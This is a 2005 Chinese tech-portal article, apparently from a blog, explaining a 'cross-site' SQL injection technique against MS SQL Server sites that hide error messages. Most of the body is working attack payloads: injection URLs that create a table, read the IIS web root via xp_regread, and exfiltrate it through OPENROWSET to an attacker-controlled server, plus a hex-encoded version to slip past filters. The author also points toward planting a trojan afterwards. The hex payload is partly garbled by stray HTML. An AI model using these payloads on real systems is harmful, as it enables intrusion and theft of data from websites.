您的位置:软件 > 开发者网络 > 开发工具 > 开发专栏 > 数据库 > 正文
跨站式SQL注入数据库攻击和防范技巧
[文章信息]
作者:老凯
时间:2005-01-27
出处:天极BLOG
责任编辑:方舟
[文章导读]
前一阶段,在尝试攻击一个网站的时候,发现对方的系统已经屏蔽了错误信息......
advertisement
热点推荐
· PS色彩调整简明教程:色阶
· 春节将至 专家教你4招保障电脑安全
· 在Eclipse中使用ANT灵活构建Web应用
· 邮箱及IE安全设置指南
· 配置Win 2000系统中的磁盘配额
[正文]
  前一阶段,在尝试攻击一个网站的时候,发现对方的系统已经屏蔽了错误信息,用的也是普通的帐号连接的数据库,系统也是打了全部的补丁这样要攻击注入是比较麻烦的。因此我自己搞了一种“跨站式SQL注入”。

  思路如下,既然你不显示错误信息,我能不能让你显示到别的地方呢?让SQL把错误写入别的地方。

  既然是研究阶段,我们最好不要直接注入网站,而是首先用查询分析器来分析这个方法。

  第一个想法:   

  SQL可以连接外部的数据库。   

  于是,首先用查询分析器,登陆到我自己的一个虚拟主机的数据库(这样的权限比较小),然后在本地启动一个SQL server,并且用SA的身份在SQL事件探测器里边建立一个跟踪。  

  尝试 sp_addlinkedserver 如果成功,那就和操作本地数据库一样了。  

  提示必须是sysadmin的身份。。失败。 

  换一个思路:

  只要你SQL敢发命令过来,我不管执行的结果怎么样,只要接获到命令就可以了。  

  于是考虑到一个权限要求不是很高的命令:OPENROWSET 来跨服务器查询。这个命令作用是把一个数据库命令发给远程的数据库,取回来结果集。。于是就启动“事件跟踪”监视发过来的命令。  

  第一次尝试,首先还是执行 create table [dbo].[laokai]([cha8][char](255))--建立一个表。随后是把路径写入数据库,这里我考虑,直接生成一个跨库的脚本算了。好方便执行。。

  DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--

  这段代码什么意思哪?就是把网站的路径信息写入数据库。也不是单纯的写,写得同时构造一个SQL语句,这个语句的执行结果是给laokai这个数据库的cha8字段增加了这样的一行记录。  

SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:\Inetpub,,1''')AS a
  
  其中的C:\Inetpub,,1就是注册表记录的根目录,最后要做的是:

 DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--
 
  这样就等于执行了

SELECT a.* FROM OPENROWSET('SQLOLEDB','你的IP';'sa';'密码', 'SELECT * FROM pubs.dbo.authors where au_fname=''C:\Inetpub,,1''')AS a

  这一条语句,同时你会在事件探测器那边会显示  

SELECT * FROM pubs.dbo.authors where au_fname='C:\Inetpub,,1'
   
  其中的C:\Inetpub 就是网站的路径。。调试成功。。  

  现在进入实战阶段。某网站屏蔽了全部出错信息。但是我们可以确定它存在注入点 a.asp?id=1,怎么做呢?

a.asp?id=1;create table [dbo].[laokai]([cha8][char](255))--   
  
  返回正常,我们建立了一个叫laokai的表,有个字段叫cha8,然后:

a.asp?id=1;DECLARE @result varchar(255) exec master.dbo.xp_regread 'HKEY_LOCAL_MACHINE','SYSTEM\CONTROLSet001\Services\W3SVC\Parameters\Virtual Roots', '/' ,@result output insert into laokai (cha8) values('SELECT a.* FROM OPENROWSET(''SQLOLEDB'',''你的IP'';''sa'';''密码'', ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''')AS a');--
  
  出错了......出错信息被屏蔽了......怎么办?经过研究发现是里边的某些字符例如 +号需要转化成16进制,或许还有别的地方要转化......怎么办啊?

  于是写了一个ASCII转化16进制的工具,把全部的代码转化一下,然后注入就OK了。(工具的下载地址 http://www.cha8.com/ascii.rar 麻烦放入光盘,不要让他们下,我的服务器受不了),最后自然是执行上述语句了。
  
a.asp?id=1;%44%45%43%4C%41%52%45%20%40%72%65%73%75%6C%74%20%76%61%72%63%68%61%72%28%32%35%35%29%20%65%78%65%63%20%
6D%61%73%74%65%72%2E%64%62%6F%2E%78%70%5F%72%65%67%72%65%61%64%20%27%48%4B%45%59%5F%4C%4F%43%41%4C%5F%4D%41%43%48%
49%4E%45%27%2C%27%53%59%53%54%45%4D%5C%43%4F%4E%54%52%4F%4C%53%65%74%30%30%31%5C%53%65%72%76%69%63%65%73%5C%57%33%
53%56%43%5C%50%61%72%61%6D%65%74%65%72%73%5C%56%69%72%74%75%61%6C%20%52%6F%6F%74%73%27%2C%20%27%2F%27%20%2C%40%72%
65%73%75%6C%74%20%6F%75%74%70%75%74%20%69%6E%73%65%72%74%20%69%6E%74%6F%20%6C%61%6F%6B%61%69%20%28%63%68%61%38%29%
20%76%61%6C%75%65%73%28%27%53%45%4C%45%43%54%20%61%2E%2A%20%46%52%4F%4D%20%4F%50%45%4E%52%4F%57%53%45%54%28%27%27%
53%51%4C%4F%4C%45%44%42%27%27%2C%27%27%3F%3F%49%50%27%27%3B%27%27%73%61%27%27%3B%27%27%3F%3F%27%27%2C%20%27%27%53%
45%4C%45%43%54%20%2A%20%46%52%4F%4D%20%70%75%62%73%2E%64%62%6F%2E%61%75%74%68%6F%72%73%20%77%68%65%72%65%20%61%75%
5F%66%6E%61%6D%65%3d/33.shtml' target='_blank' class='article'>3D%27%27%27%27%27%20%2B%20%40%72%65%73%75%6C%74%20%
2B%20%27%27%27%27%27%27%27%29%41%53%20%61%27%29%3B%2D%2D%20

  执行成功。

a.asp?id=1;DECLARE @a1 char(255) set @a1=(SELECT cha8 FROM laokai) exec (@a1);--

  网站那边显示还是正常页面。。但是你这边的事件探测器那边会显示:

 
  注入成功。。后边知道了绝对路径,如何添加木马的文章就很多了。。这里就不再描述了。。

  最后说明一下:这只是一个新型的攻击思路的讲解,让大家通过另外一种方式把数据库里边的数据取出来。。

  ''SELECT * FROM pubs.dbo.authors where au_fname=''''' + @result + ''''''' 部分,修改成insert把数据加入数据库也应该没有问题。。甚至单独保留 @result 都没问题。。不过这样那边会出错。这边就留下一个exec 'C:\Inetpub,,1'

发表评论推荐给朋友我想参加相关培训打印我对此感兴趣订阅电子杂志
相关内容焦点新闻
  • SQL Server应用程序中的高级SQL注入
  • 榨干MS SQL Server 最后一滴血
  • SQL注入天书之ASP注入漏洞全接触
  • 多条件数据库查询的优化方法
  • 一次SQL Server 2000修复实践
  • 如何突破中小企业实施ERP过程中的人力瓶颈
  • 中国搜索起诉8848 净化网络竞争环境
  • 新一代卫星手机面世 同时兼容GSM和卫星网络
  • 手机电视亮相美国 包月费15美元可浏览大片
  • 信息化动向:中小企业受益于零售行业软件
  • 网上银行安全事故频发 理财反恐已刻不容缓
  • 预测:2010年世界500强中国企业将占50席
  • 正版压缩DVD上市 发行价8到10元保证品质
  • Advertisement

    天极无线


    奇妙科幻|美好风光|清风车影|漫画卡通|星座生肖|明星写真|动物世界
    温馨祝福|极品爆笑|生肖属相|StarQ|体育竞技|美好风光|每逢佳节
    老鼠爱大米
    挥着翅膀的女孩
    女人味
    栀子花开
    白月光
    刚刚好
    江南
    快乐崇拜
    亲爱的你怎么不在我身边
    小薇
    2002年的第一场雪
    有多少爱可以重来
    我的地盘
    七里香
    情人
     
    老鼠爱大米 冲动的惩罚
    最熟悉的陌生人 绿光
    可爱女人 盛夏的果实
    当你孤单你会想起谁 孤单北半球
    2002年的第一场雪 眉飞色舞
    有多少爱可以重来 挪威的森林
    最浪漫的事 老板电话

    CSEEK搜索